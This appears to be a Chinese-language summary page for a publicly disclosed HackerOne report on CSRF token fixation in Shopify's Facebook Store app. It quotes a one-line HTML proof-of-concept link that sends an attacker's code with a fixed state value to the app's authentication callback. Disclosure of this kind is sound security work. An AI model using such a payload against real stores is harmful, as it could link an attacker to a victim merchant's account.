CSRF token fixation in facebook store app that can lead to adding attacker to victim acc
信息泄露 / 违反安全设计原则（按标题归类） / #55911
该报告还没有中文解读。
原文摘录
摘自原文（1799 字符中的一小部分）
i just found an csrf token fixation in facebook store app which is an offical shopify app
原文中的代码
<html> <body> <a href=https://facebookstore.shopifyapps.com/authenticated?code=[[attacker_token ]&state=c2f449f2df5ee64df6173702846bce72e3a57319#_=_> </body> </html>
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Shopify 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @defmax · 版权归作者与 Shopify 所有